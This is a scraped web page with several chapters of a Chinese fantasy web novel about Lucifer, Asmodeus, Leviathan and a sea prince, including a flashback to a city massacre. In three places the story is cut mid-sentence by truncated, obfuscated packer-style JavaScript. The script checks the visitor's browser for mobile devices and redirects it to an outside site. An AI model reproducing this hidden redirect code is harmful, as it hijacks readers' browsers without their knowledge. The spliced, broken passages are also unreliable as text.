阿斯蒙蒂斯摸了摸下巴:“让我想想……” 利维坦怒瞪着他,急得用触|手在暗中狂抽他的后背。 阿斯蒙蒂斯疼得抽气,暗骂利维坦粗鲁,但还是坚持着面色不改,笑嘻嘻道:“那也不行。” 希罗弥图不甘心:“行不行你说了也不算,让我见路西法陛下,我只听他的。” “我说了是不算,但你能不能见陛下,我还是能干预的。”阿斯蒙蒂斯无赖地摊手。 就算他只剩五分之一的力量,对付一条出水的鱼,那还是绰绰有余的。 希罗弥图这么急着想在这里见路西法,阿斯蒙蒂斯猜测他身上应该有天国的印记之类的,所以进不了地狱。 这也不奇怪,前些年地狱式微,天国壮大,形势鲜明,大多数有头有脸的下界生灵都会去天国为自己的新生儿求一个庇护印记。 虽然当时的情况下看也不一定能起什么作用,但到底多重心安。 后来么…… 就显得尴尬了。 有天国庇护印记的生灵无法进入地狱拜会撒旦陛下。 无数人暗自扼腕叹息,急忙寻没有印记的同族送上礼节。 哪怕撒旦陛下看都不会看,实际上也不会在意他们有没有所表示,他们也不敢轻忽。 好不容易得知撒旦陛下目前在人间,立即来拜会,这也是相当正确且聪明的做法了。 按理阿斯蒙蒂斯不会这般阻拦,但一则希罗弥图算计利维坦在先,心思深沉,放这种鱼去陛下跟前,他回地狱得被别西卜骂死;二则,他感觉到,希罗弥图……好像,真的,对路西法有说不清道不明的情愫。 那还得了? 不怕他只爱慕权势,就怕他还带有点真情。 苍生为了爱情可是能做出无数惊天动地的疯狂事来的。 阿斯蒙蒂斯暗瞥利维坦两眼,心道,尤其容易犯他这种罪。 他不看这两眼还好,一看就让利维坦心头冒火,嚷嚷起来:“你看,什么!难道……要,要怪,我吗?” 阿斯蒙蒂斯不得不安抚道:“我没有这意思,你别着急。”随即,他又清清嗓子,对希罗弥图开口,“好了,咱们都该从哪儿来回哪儿去,你和你父亲算计利维坦的事,今日暂且不与你计较,快走吧。” 人间不比地狱,发生什么意外都有可能,让这小王子留在这儿无疑是给自己找麻烦。 但希罗弥图依旧倔强:“我不回去,见不到路西法陛下,我绝不会回去。你不理解我仰慕陛下的心,我愿意为他放弃我的一切!” 阿斯蒙蒂斯听得咋舌。 更坚定了阻拦他的心。 这么疯狂的,更可怕了好吗? 放他进地狱那就是给自己埋个隐患。 极端的爱与极端的恨往往只隔一线。 “哦?没有了一切,你对我还有什么意义?” 轻飘飘的声音自身后传来,阿斯蒙蒂斯和利维坦急忙转身,就见他们的陛下正站在巷口。 阿斯蒙蒂斯偷偷打量,松了口气,陛下戴了面具,好好好,太好了。 陛下的脸和他的权势地位杀伤力旗鼓相当,希罗弥图已经这么疯狂了,还是别让他加重病情。 希罗弥图眼睛发亮,难掩激动。 阿斯蒙蒂斯不动声色挡住他的去路,就怕他克制不住自己扑上去。 “陛下,您还记得我吗?”希罗弥图看向路西法的目光既兴奋又小心。 “很多年前,梅塔特隆殿下的宴会上,我曾经,向您求助……您还记得吗?” * 很多年前,梅塔特隆的宴会。 下界生灵很难有机会进入天国,希罗弥图想过很多自己拜会的场景,唯独没想过,是这种情况下。 他跟在引路的天使身后,望着对方洁白秀美,不染纤尘的身影,悄悄攥紧了满是血污的衣摆。 天国的每一处都是如此洁净典雅,他置身其中,好似一点醒目的污渍破坏了整幅完美的风景画。 他想解释,他平时不是这般狼狈的。 但又显得不合时宜。 没人嫌他格格不入,走在天国的街道上,两旁安静路过的天使们甚至都不曾投来一个多余的眼神。 希罗弥图不知为何联想到他曾见过的傀儡。 只按照主人设定好的一切进行,心无旁骛。 啊,该死,他怎么能这样想天使们呢? 就在他胡思乱想中,引路天使将他带到了梅塔特隆的宴会之地。 希罗弥图所说之事太过重大,他不能擅做决定,所以就算知晓今日是宴会日也只得带他来打搅。 好在梅塔特隆向来通情达理,听闻希罗弥图的来意后十分关怀,但表示,今日正巧路西菲尔殿下也在,既然他在这里,那便不能越过他做决定了。 路西菲尔殿下…… 希罗弥图越发紧张起来。 听闻,路西菲尔殿下除却公务活动之外甚少露面,常年在水晶天伴神,旁人想远远见他一面都难上加难,他今日,竟然有这么幸运吗? 直到被引路天使带着跪在纱幔外,希罗弥图还有些回不过神来。 当他猛然意识到纱幔后是何人时,连忙俯下|身行礼。 一旁的引路天使怜惜他受惊,温声提醒他,将发生之事一一说明。 希罗弥图定了定神,努力克制心情,尽量平稳冷静地阐述。 海国虽宽广,但万里海域之下始终是所有海中子民鲜少接触的地方,但近日来,屡屡有海国子民上报在万里海域之下看到了极为怪异庞大的生物,那怪物无差别袭击过往的生灵,巨口一张,便吞吃一切。 希罗弥图的父亲,也就是现任海皇,带领着兵将和几个儿子一同前去讨伐,却几乎全军覆没。 海皇命令全军为唯一有天国庇护印记的希罗弥图杀出一条路,让他前来天国求助。 希罗弥图说起那时的情景,还忍不住颤抖。 他从未见过那般庞大古怪又可怕的海中生灵,对方仿佛是几种生灵的结合一般,獠牙利齿,尖锐鳞片之下又有触|手和利爪,张开血盆大口,喷出的汁液能腐蚀最坚硬的武器,而里面密密麻麻一排排尖牙看得众人心惊胆寒。 它身形 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091884|195458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 庞大,在他们上空时竟如遮天蔽日一般,但却极为灵活,他们尚且看不清它的全貌,已经被冲散攻击得七零八落。 整片海域,霎时被血染得通红。 希罗弥图拼命地游,往常轻轻松松便可离开几十海里,如今却好像怎么也逃不出去。 “这般厉害?” 希罗弥图还沉浸在恐惧中,便听见纱幔后传来声音。 这道声音有如潺潺清泉,优雅懒散,隐隐有一丝兴致。 希罗弥图怔怔听着,仅仅从这声音里都能想象出纱幔后是何等绝世风姿。 他呆呆愣愣地点头,须臾,便听纱幔后传来些许动静,似是佩饰相撞,叮当作响,然后便有一道身影站在纱幔后。 希罗弥图霎时紧张得无以复加,他,难道能见路西菲尔殿下的真容么? 但可惜,他等了片刻,那纱幔后的身影微微一顿,没有出来,只有一只手伸出,扶起了他。 路西菲尔并未介意他满身狼狈,希罗弥图却羞愧于自己衣上血污,唯恐它们脏了这只素白纤瘦的手。 他不敢抬头,目光都只敢落在那片缀着蝴蝶银链的浅绯衣袖上,直到它重回纱幔后。 “海国王子,你所求为何?”路西菲尔殿下的声音还是那般温柔,“是阻止它再作乱,还是杀了它,亦或者……收服为己用?” 许是离水太久,希罗弥图的脑子有些混乱,他有些辨不分明路西菲尔殿下语中之意。 路西菲尔殿下似乎有些……意味不明的兴奋? 不会吧,一定是他多想了。 肯定是他见到路西菲尔殿下太高兴了,才不太清醒。 希罗弥图混混沌沌答道:“殿下,我想让它不再能作乱。” “好。” 他听见路西菲尔殿下轻笑一声。 希罗弥图低下头:“殿下,请您派下天使,我愿为引路。” “不必如此麻烦。”路西菲尔殿下声音依旧优雅懒散,“今日是梅塔的宴会,耽搁太久,难免坏了大家的兴致。” 希罗弥图听得云里雾里,不太明白路西菲尔殿下的意思,但一旁不知何时赶来的米迦勒却是眼睛一亮:“殿下,您要亲自出手?” 这,怎能劳动路西菲尔殿下大驾呢? 希罗弥图不免惶恐。 他本意不过是想请求几位武职天使帮忙而已。 米迦勒看出他的不安,大大咧咧地笑着揉揉他的肩:“殿下难得动手一次,这是你的运气,不必想太多,好生看着就是了。” 说罢他又期待地看向纱幔后:“殿下,这次能带上我吗?我给您打下手也行啊!” “不用。” 米迦勒垮了脸,还想多说,却见纱幔后缓缓探出一支箭来。 他复又高兴起来,拉着希罗弥图站到一边。 希罗弥图不明所以,只迷茫地看着那支箭从纱幔后直直向下而出,穿过地面,再无踪迹。 “希罗弥图,回去吧。” 这就,结束了? 希罗弥图越发困惑,而兴奋的米迦勒这回索性不打招呼了,直接拽着他直奔万里海域底下而去。 一路上,希罗弥图数次疑惑地想询问,但他身为下界生灵,天然敬畏炽天使,又不好意思开口。 直到重回海域,他才恍然大悟,为何米迦勒如此兴奋。 ——路西菲尔,一箭自第八重天而下,直入海域,贯穿那怪物的眼睛,将它钉入了海底! 茫茫海域,无尽深海,那怪物除却最后一声悲嚎,再无存在。 希罗弥图定定望着那片海域,心如擂鼓。 路西菲尔殿下,当真是…… 世间至强的存在。 * 希罗弥图眼含期待地望着路西法。 纵是那般狰狞可怕的面具,也阻挡不了他炽热的眼神。 阿斯蒙蒂斯看得头皮发麻,心道陛下这真是太能招惹了。 又是一个痴心一片的啊。 他也向那边看去,却听路西法淡漠开口道—— “不记得。” 41. 海与深蓝 希罗弥图一愣,面上的表情有些茫然僵硬。 但他亦有心理准备,路西法陛下身边的人那么多,能记得他,他万分荣幸,不记得,那也无妨。 现在也能认识。 他目光依旧热切,路西法只如未曾看见。 其实他并非没有认出希罗弥图。 纵使不过多年前隔着纱幔一见,但他生来记忆力超群,除非自己有意忘记,或者耶和华插手,否则绝不会忘。 只是他觉得没有必要罢了。 希罗弥图的身份牵扯太多,不如一开始就不给他任何希望。 他们这些下界生灵总是这样的,在想象中自顾自将一腔情爱美化到可以抵过万千艰难般坚固,但落到实处,才会发现,不堪一击。 为什么深情不改值得赞颂?那自然是因为稀少罕见。 但路西法还是低估了希罗弥图的执着。 他的冷漠只是让他略微伤心一下,随即又热情地开始推销自己。 一言以蔽之,他表示自己很有利用价值。 从利益考量,路西法也不该将他拒之于千里外。 退一万步讲,路西法就算看不上他的身份,他也能抛下身份只做个普通侍从。 姿态低得不可思议。 阿斯蒙蒂斯都听得为之侧目。 可路西法还是神情淡淡,甚至不想听下去。 阿斯蒙蒂斯察言观色,当即上前挡住希罗弥图,笑道:“好了好了,你的心意已经传达到,剩下的事陛下会考虑的,你既然倾慕陛下,也该知道不可打扰陛下的规矩,回去吧。” 回去等通知,至于通知什么时候到? 下辈子吧。 陛下没直白赶人,容许他说两句和缓的话搭台阶已经是很给面子了。 希罗弥图被他的说辞堵得无话可说,只能满眼期盼又不舍地望着路西法。 路西法不经意扫过那双深蓝的眼,微微一顿。 ……不,也不像。 祂的眼睛,不会出现情绪。 不过也是少见,这世上竟有一个造物的眼睛能同祂在颜色上有些许相似。 希罗弥图敏锐地捕捉到了路西法的一晃神,他下意识地摸了摸自己的眼睛。 从小到大,所有人都说他的眼睛好看得过分,他还不以为意,现在蓦地发现,好像,确有些用处。 起码,能让路西法陛下多看一眼。 他思绪万千,路西法却只在一恍后便不留恋地离去。 只能说希罗弥图出现的时机不对。 若在当初他最为执迷不悟的时候,兴许,就凭着这双眼睛,他也能同意他随侍左右。 现在,他已不再陷入当初的魔障了。 * 阿斯蒙蒂斯和利维坦对视一眼,在他一片空白不知道发生了什么也不知道该做什么的眼神中,阿斯蒙蒂斯败下阵来,认命地负起责任处理后续的事,让他去跟着陛下。 好在希罗弥图见过路西法后便有些心不在焉,倒是好哄得多,不需阿斯蒙蒂斯如何费心便利落地踏上了归乡之路。 阿斯蒙蒂斯松了口气,只是一转身,这口气又提了回去。 一身黑衣的美艳女人不知何时悄然到来,望着他似笑非笑。 “看来我来得很是时候,没有耽误阿斯蒙蒂斯大人的正事呢。” 阿斯蒙蒂斯警惕地和她保持着一个不会被认为在密谋的安全距离,面上却笑得比她还真诚又深情:“莉莉丝,好久不见,你比从前美丽更甚,真是让我惊艳。” 没人不喜欢听好话,莉莉丝也不例外,当即便心情愉悦不少。 阿斯蒙蒂斯悄悄打量她,他所说的也不全是出自于虚假客气,莉莉丝在被路西法关押期间,时不时就被强迫观看当初那些与她同伙的魔王如何被残酷处刑的场景,心惊胆寒,又终日惴惴不安担忧何时轮到自己,难免变得憔悴沧桑,如今一获得自由回到人间,便如鱼入水,神采风貌都好了许多。 只是不知道,她这次来又是为了什么? 反正不像希罗弥图,她肯定不是冲着路西法陛下来的,她远远躲着他还来不及,这一点让阿斯蒙蒂斯比较放心。 “阿斯蒙蒂斯大人这么钟情于我,也不枉我为你来这一趟了。”莉莉丝风情万种,柔若无骨地往他肩头一靠。 若是旁的美人,阿斯蒙蒂斯定然甘之如饴,但莉莉丝前科太重,他只能眼疾手快紧紧箍住她试图伸过来的手,将她靠在了一边的墙上,咬咬牙,满脸遗憾:“……抱歉,我最近戒欲。” 莉莉丝霎时目光古怪地看向他的下|半|身,撑不住刻意表露的妩媚姿态,掩饰不住讥笑道:“不会是用太多了,不行了吧?” 阿斯蒙蒂斯顿觉奇耻大辱。 谁不行了?全天下不行了他都不会不行的! 他冷着脸松开莉莉丝,气冲冲地背过手:“你千里迢迢来这儿就是来气我的?” 说到正事,莉莉丝也不再奚落他,拢了拢散落的长发,好整以暇道:“怎会呢?我也是有正事的。我来这里,不过是还你个人情。”她神神秘秘地笑起来,“若你知晓是何事,感激我还来不及。” “你能有什么正事?”阿斯蒙蒂斯不太信,“我的人情可不是那么好还的,莉莉丝,你可别是找了什么鸡毛蒜皮的小事来敷衍我。” 莉莉丝不以为忤,仍是笑容满面,伸出纤纤指尖,状似亲昵地一指:“若我说……是与这个有关呢?” 她所指的方向,正是阿斯蒙蒂斯常常缀于发尾的露薇。 阿斯蒙蒂斯勃然变色。 以往吊儿郎当的浮华之气尽褪,他的目光如一柄开刃的利剑,森然冷沉,直直劈向莉莉丝。 莉莉丝从未见过他这般模样,心中一惊。 这般气势,怪道这轻浮浪荡子能做七罪魔王之一,看来以往是她小瞧了,才当他只知贪|花|好|色。 她稳了稳心神,言语间谨慎不少:“你也不必怀疑我是如何知晓的,我好歹也算是人类始祖之一,但凡是这片人间发生过的事,我都能探知一二,当初你闹得那么大,幸有路西法……陛下,为你遮掩,否则你哪有现在?我来这儿,确是为还你这个人情,我在莱洛温王城见到了一个人,长得和……你想的那个人,八成相似。” 八成相似,还是她谨慎起见少说的。 应该是一模一样。 但死去的人怎会又能活生生地站在人间呢? 她试探过,对方没有过去的记忆,是以一个全新的身份活在人间。 莉莉丝隐隐约约感觉自己接触到了什么了不得的谜题。 她本想自己探知,若能得知有价值的真相,那便可以做个好筹码了。 只可惜她被关在地狱太久,个人力量有限,如何都没有进展。 思来想去,她便想到了阿斯蒙蒂斯。 阿斯蒙蒂斯和这人有极深的渊源,必然会倾力相助。 大不了,也就是路西法会提前知道真相,她没法拿这当条件。 不过,当个投诚的敲门砖,也不是不行? 地狱终究会是路西法全盘掌控,一直和他关系僵硬于她没有好处。 莉莉丝心里的盘算又转了几圈,对着阿斯蒙蒂斯越发诚恳:“我知道你有遗憾,如今,不正是个机会?万一……就是那个人呢?” 阿斯蒙蒂斯双眸沉沉地望着她。 莉莉丝渐渐觉得有些背脊发凉。 许久后,阿斯蒙蒂斯才开口。 “带路。” * 利维坦许久不曾来过人间,对一切都十分好奇,一路上东张西望。 他外貌看着并不狰狞可怖,气质纯粹,倒还比隐去面容的路西法更惹人注目。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091885|195458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >但更古怪的是,他一出现,大街小巷的猫都跑了出来,围在他身边嗅来嗅去。 利维坦如临大敌,赶紧追上路西法。 路西法见状哂笑道:“你还是怕猫?” 利维坦忐忑地点头。 哪有鱼不怕猫的…… 猫嗅觉敏锐,比人类能辨出隐藏的气味,又极爱吃鱼腥味重的东西,偏偏他离水后战斗力大大缩减,被群猫围住当真是发怵。 但是他又担心陛下嫌弃他丢脸。 却见路西法俯身,随手将一只瘦小的黑猫拎起来,笑道:“这可不行。” 利维坦眨了眨眼,不等他表态,路西法忽地拎着小黑猫后颈皮,猛然将它提到他面前。 利维坦吓了一跳,差点叫出声。 “伸手。” 利维坦僵硬地摊开双手,任由路西法将小黑猫放进他掌心。 路西法笑眯眯地走了,他也不敢将小黑猫放下,只能僵着双手捧着它,就这么跟上。 小黑猫嗅嗅他的掌心,伸出小奶牙卖力地啃咬。 然而一直到回了旅店,它也没能啃动这散发着诱猫香味的两脚兽的一层皮。 利维坦心惊胆战许久,见它被别的事物吸引了注意力,这才放下心来,顺着它的目光看去。 旅店门口坐着一个人,一个很好看的年轻人,纵是一身黑衣,也被他穿得几分圣洁来。 一群小孩围在他身旁,听他用不疾不徐的声音为他们念书上的每句话,再解释其中含义。 不时有小孩伸出沾了泥土的手轻轻拉他衣角,好奇地提问,他也不曾表露出分毫嫌恶不耐烦,依旧温和耐心地解释。 利维坦难得眼尖一次,认出他身上的衣服正是不久前玛门大张旗鼓支使他去海底寻来的鲛族最珍贵的流光纱所制。 流光纱罕见珍贵,不仅造价不菲,更难得的是有价无市,他固然在海底是一霸,但为此也少不得要与旁的鱼交流,他最不想和他们你来我往,当时也想一口回绝,但玛门一句“这是陛下要的”就让他偃旗息鼓,认命去办事。 说起来,要不是为这流光纱,他也不至于会被希罗弥图摆了一道。 他还当陛下是自己要,没成想,竟是为了一个人类。 不过这人类长得确实配得上流光纱。 感觉是鲛族一看到他,就会重金邀请他在每次展销会出场的程度。 利维坦想,要是鲛族一早见过他,哪里还需要他多费口舌,恐怕是恨不得直接送来。 利维坦悄悄看向路西法,却见他也正看着那年轻人。 眼中是毫不掩饰的欣赏。 年轻人也看见了他们,抬头望向路西法,对他笑了笑。 一笑生辉,他就像光本身。 年轻人瞧见了利维坦,对路西法道:“阿斯蒙蒂斯不回来了?” 路西法不奇怪他怎能猜到,只懒懒散散道:“差不多到时间,他该去做更重要的事了。” 年轻人点点头,没有多问。 小孩子们惧怕路西法的气势,一见他便跑得没影,年轻人收起书,站起身,目光落在利维坦身上。 利维坦蓦地有一丝锋利之感。 但转瞬即逝。 好似是他的错觉。 年轻人温声道:“若我没有看错,这位是利维坦吧?” 利维坦不知道自己该如何与他打招呼,便僵硬地点头:“你,你好。” 年轻人笑了笑:“我们接下来的行程,带上他兴许有些不便。” 利维坦霎时便有些急,怎么带上阿斯蒙蒂斯就没事,带上他就不行了? 这是看不起谁呢? 但路西法却像默认了他所说,只道:“他该学着克服短处。” 利维坦面露迷茫:“去……去,哪里?” 年轻人看着他,笑容温和:“沙漠。” 42. 这得怪祂 傍晚时分,阿斯蒙蒂斯的告罪姗姗来迟。 路西法并不意外,那枚露薇对于阿斯蒙蒂斯的重要性他是最清楚的。 阿斯蒙蒂斯从来没有真正地忘怀过。 他堕天后曾经也多次试图去寻找,可都无疾而终。 路西法看在眼里,便想,时间过去太久,又有耶和华插手其中,唯有放出具有人类始祖之一身份的莉莉丝到人间,才可能寻到当初的蛛丝马迹。 并且,他一直以来的疑惑就会有线索了。 路西法心情甚好。 从伊勒沙代这里着手肯定是不够的,他观察来看,伊勒沙代并不像天使那般纯粹好骗,由得他使出点手段便能将所有的事和盘托出。 何况……最重要的是,他现在不愿自己与伊勒沙代之间掺杂这些事。 路西法生来骄狂,相信自己自有千百种方法。 一旁的伊勒沙代见他心情好,笑道:“若是阿斯蒙蒂斯知道他离开了你这么开心,定会心碎难过的。” “他现在哪有空伤心,着急还来不及。”路西法懒懒道,“只是近乡情怯,他若真到了人家跟前,指不定压根不敢现身。” 伊勒沙代非常有眼力见地给他调整靠枕的位置:“如此说来,阿斯蒙蒂斯对那个人有愧?” “这得怪耶和华。”路西法无所顾忌地在他面前贬低那位高高在上的创世神,“谁让祂唯独把天使创造得具有那么强烈的道德感?恶魔再如何百般挑|逗|引|诱,也不比愧疚悔恨更能压垮一个高阶天使的信念。” 从前的阿斯蒙蒂斯也是高阶武职天使中数一数二的存在,虽则性格散漫了些,爱往人间跑,但依旧是非常称职出色的。 若不是因为…… 路西法想起他从米迦勒手里截下阿斯蒙蒂斯的那天。 阿斯蒙蒂斯曾是公认最花枝招展的高阶天使,每天都把自己打扮得比伊甸园的繁花还灿烂绚丽,下界生灵来天国拜会,时不时都会被他身上各种饰品晃花眼。 但无论何时都光彩夺目像只开屏孔雀似的他,那一天,满身血污地被米迦勒带领的卫兵压在地上,就连长发和脸上都全是斑斑血迹,从不离身的饰品更是不知道去了何处。 米迦勒又气又急,连连诘问他为何做出那种事,分明他从来没有显露出过那么狂暴凶残的倾向。 阿斯蒙蒂斯始终一言不发。 他眼神空洞地盯着一个方向,不知在想什么,好似对自己的命运也漠不关心。 彼时还是天国副君的路西菲尔饶有兴趣地在远处看着。 并没有打算出手干预。 不过是处置一个高阶天使而已,耶和华都不放在眼里,他在乎什么。 顶多是遗憾对方没能逃脱追捕成功堕天,为恶一方,给天国找找麻烦。 毕竟阿斯蒙蒂斯还是有点本事的。 那一边米迦勒的质问也来到了“这满城人类何其无辜你怎能恃强凌弱屠杀他们”环节,阿斯蒙蒂斯终于有了点反应,他抬起头,定定地看着米迦勒,一字一顿道:“他们该死。” “冥顽不灵!哪有全城的人都是该死的?”米迦勒火冒三丈。 阿斯蒙蒂斯却又恢复了沉默不言的状态,任他如何问也不再开口。 米迦勒拍拍心口强行按压下怒火,知道想让他忏悔恐怕是没门了。 再说叫阿斯蒙蒂斯忏悔又有何用? 难道就能让满城人类活过来吗? 父神严令禁止天使肆意对人类出手,更何况是如此暴戾的屠杀。 阿斯蒙蒂斯是被他带兵当场抓获的,连审查都不必,炽天使本就有直接行刑权,米迦勒当即就要抽|出长剑。 周围的天使卫兵同样怜悯城中百姓,对阿斯蒙蒂斯的行径大为不耻,米迦勒亲自当场处决阿斯蒙蒂斯,他们自然乐见其成。 但就在米迦勒的剑落下前一刻,有人制止了他。 “且慢。” 众天使看去,竟是一身浅蓝常服的路西菲尔。 他依旧是那般光华璀璨端庄优雅的姿态,与这尸横遍野的血腥场景格格不入。 米迦勒心里忽地有了点不妙的预感,他努力压下,向路西菲尔行礼:“殿下,您怎么到这里来了?” “米迦勒,不能窥探我的行踪。”路西菲尔温温柔柔地笑着说,语气同玩笑一般,米迦勒却立刻意识到了自己的逾越。 他想起来了,上次谁多嘴在朝会上问了一句路西菲尔平日的去向,父神竟直接不留情地斥责了对方。 父神说,路西菲尔的去向无需向任何人解释,谁若质疑就是不敬。 当时他还觉得父神最近似乎有点火气过旺来着,简直像跟谁吵了架又没法发火憋着气一样。 不过这么想父神属实是太不敬了,怎么敢有给创世神气受的人?创世神又怎么会白白受气?他选择忘掉。 米迦勒稳了稳心神,正要开口,却见路西菲尔看向垂着头的阿斯蒙蒂斯,状似惊讶道:“阿斯怎会在这里跪着?” 米迦勒眉头紧锁,暗自嘀咕道您转个身不就能看到他的“杰作”了,但还是勤恳老实地解释:“他不知为何在这座人类的城中大开杀戒,竟将全城的人都斩杀殆尽,我带兵来时,他还想放火烧了这座城!恶行昭昭,不思悔改,我正要处决他。” 路西菲尔缥碧眸中恰到好处地露出疑惑和不可置信:“他素日并不是这般性情的天使,其中是否有什么误会?” 米迦勒急道:“殿下!我们亲眼所见,证据确凿,无可抵赖!” 路西菲尔笑道:“急什么?既是证据确凿,那又何妨先将他押回去,交由萨麦尔看押审查,待他供认实情,我便秉明父神,再行处置。” “可是……” 路西菲尔悠悠叹气,眼里有些无奈,道:“米迦勒,你随我来,借一步说话。” 米迦勒心里着急,又不得不跟上。 这明摆着的事实,还有什么可审的? 但路西菲尔殿下没有包庇阿斯蒙蒂斯的理由,他与阿斯蒙蒂斯从无深交,他们的来往顶多就是阿斯蒙蒂斯给他行礼,他象征性问两句近况。 待离天使卫兵们远了些,又郑重地设下屏障,路西菲尔才叹道:“米迦勒,你是否发觉,父神近来……心绪不佳?” 米迦勒一惊,原来不是他的错觉,路西菲尔殿下也发现了。 也对,殿下比他们更常去水晶天,父神的情况他最清楚不过。 见他没有反驳,路西菲尔继续说:“这是一方面,另一方面,阿斯蒙蒂斯这么反常,其中一定还有原因,你若草率处置了他,罔顾内情,届时父神怪罪下来,你纵是一片好心,也难免落个不是,何必呢?若反倒让不知真相的外人以为你确有错处,议论纷纷,动摇对你的信任,那岂不是不好了?” 他说的好有道理,但好像又全是歪理。 米迦勒觉得不对,但又说不出来哪里不对。 他怎么莫名觉得,要是按照路西菲尔说的去做,阿斯蒙蒂斯不会被处刑? 但路西菲尔所说的确是天国正常的审查处刑流程没错呀?其中似乎没有能徇私枉法的环节。 萨麦尔,路西菲尔,父神,谁也不可能轻放了阿斯蒙蒂斯吧? 米迦勒困惑地摸摸脑袋。 路西菲尔慈爱地看着他,像在看一个不懂事的小孩子:“好了,带他回去吧,接下来的事我会处理,父神那边,我亲自去说,纵使祂有旁的情绪,我也可以劝解一二。” 米迦勒晕晕乎乎地点头,甚至还有一点感激。 路西菲尔殿下人真好啊。 路西菲尔心情愉悦地亲自把阿斯蒙蒂斯放置到了萨麦尔的牢狱中。 萨麦尔吩咐过守卫看管好阿斯蒙蒂斯之后便去忙旁的公务,路西菲尔并不嫌弃牢狱环境,坐在萨麦尔安排的华丽柔软的座椅上,唇边笑意温和,居高临下地看着神思不属的阿斯蒙蒂斯。 “你没必要救我。”阿斯蒙蒂斯已经冷静下来,嗓音暗哑,他没那么好骗。 或者说,他从来没其他天使那么相信路西菲尔外在的形象。 ——一个当真谦逊温和的天国副君,不会眼里全是勃勃野心。 路西菲尔轻笑道:“你倒是一心求死。” “人是我杀的,我承认,我不后悔,更不会改口,你不必白费力气。”阿斯蒙蒂斯语气生硬。 该怎样就怎样吧,那些人该死,他也一样。 “我不需要你改口。”路西菲尔慵懒地往后靠上椅背,“我要你活着,无需你同意。” 何其张狂。 他可是屠了满城的人,连老弱妇孺也没留下,光看米迦勒气愤到要当场处决他就可以知道天国上下对此事的态度。 但阿斯蒙蒂斯觉得路西菲尔不是在说空话。 “为什么?”他很不解。 若是交情深也就罢了,但偏偏他和路西菲尔从无交际,如何值得他费心徇私? 路西菲尔笑着,伸出手指点了点他的眼睛。 阿斯蒙蒂斯不怕他戳瞎自己的眼睛,任由他的指尖靠近,距离他的眼珠不到一纸之距。 “我喜欢你的恨。”路西菲尔笑道,他似乎分外开心,“滔滔浓烈,灼尽一切的恨。” 阿斯蒙蒂斯提到那一城人时的神情,他太喜欢了。 多么坦然直白的仇恨。 在这孤寂如一潭死水的天国,真是,太难得了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091886|195458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 所以他一改初衷,从米迦勒剑下救了他。 阿斯蒙蒂斯漠然地低下头,不以为意。 他不关心路西菲尔图谋什么,反正,他不会听从。 这世上一切他都不在意了。 忽地,他眼前出现了一物。 一枚小小的金露薇。 它做工普通,还可以看出,它甚至不是纯金,只不过是镀金,外层镀的金粉被刮了点儿,便露出里面生了锈迹的铜底来。 在这天国里,它连牢狱的地砖都比不上。 被放在尊贵无匹的天国副君白皙柔软的掌心,更是不配。 阿斯蒙蒂斯看见它却霎时瞪大了眼睛。 他慌忙地伸出满是血痕的手想去抓,路西菲尔却适时地一收掌心,叫他扑了个空。 “还给我!”阿斯蒙蒂斯嘶吼道。 他都到了这地步,还顾得什么天国的尊卑礼仪,只双眼猩红,奋不顾身地去抢。 但他全盛时期也不会是路西菲尔的对手,何况如今受伤,还被重重锁链束缚着。 他动一下,就会有一道道的雷光自锁链上贯穿他全身。 阿斯蒙蒂斯却还是挣扎着去抢。 路西菲尔满意地看着他这几近疯狂的模样,笑容越发开怀。 牢狱不大,他也未曾出去,但任由阿斯蒙蒂斯左扑右奔,始终碰不到他一片衣角。 许久后,阿斯蒙蒂斯力竭倒地。 他不想求路西菲尔,但如今,好像没办法了。 又是这样。 又是这样的无力感。 他自诩强大,自诩聪明,到头来,原来什么都护不住。 阿斯蒙蒂斯痛苦地闭上眼。 “你别是要哭了吧?”路西菲尔略微惊讶的声音响起。 “如今我落到你的手里,难道连哭都不行吗?”阿斯蒙蒂斯涣散地盯着头顶牢狱的天花板,“那你不如把我交还给米迦勒,让他一剑杀了我。” “这怎么行,我好不容易才把你从他手里要过来。”路西菲尔又迤迤然坐下。 好不容易?他似乎就说了几句话吧。 米迦勒就是太信他了,该叫他看看路西菲尔现在的样子。 地狱的魔王都没这么工于心计又可恶。 “你想要什么?”阿斯蒙蒂斯无力地问,“我什么都没有,也给不了你什么。” 天国副君,要什么没有? “仅是这个小东西,就能让你奉献了,那我能给你的,可比它还重得多,你又拿什么回报我?”路西菲尔笑问道。 “如果你要说的是财富权势,那还不如就用它和我讲条件。”阿斯蒙蒂斯厌烦地翻了个身,兴致缺缺。 路西菲尔不以为忤,心情颇好地起身,在他身侧姿态优雅地蹲下,一只手却不留情地把他的脸掰了过来。 “若我说,我能让他再活一次呢?” 阿斯蒙蒂斯惊愕地瞪大眼睛。 他坐起身,不可置信地看着路西菲尔:“……这世上,只有父神有起死回生之能。” 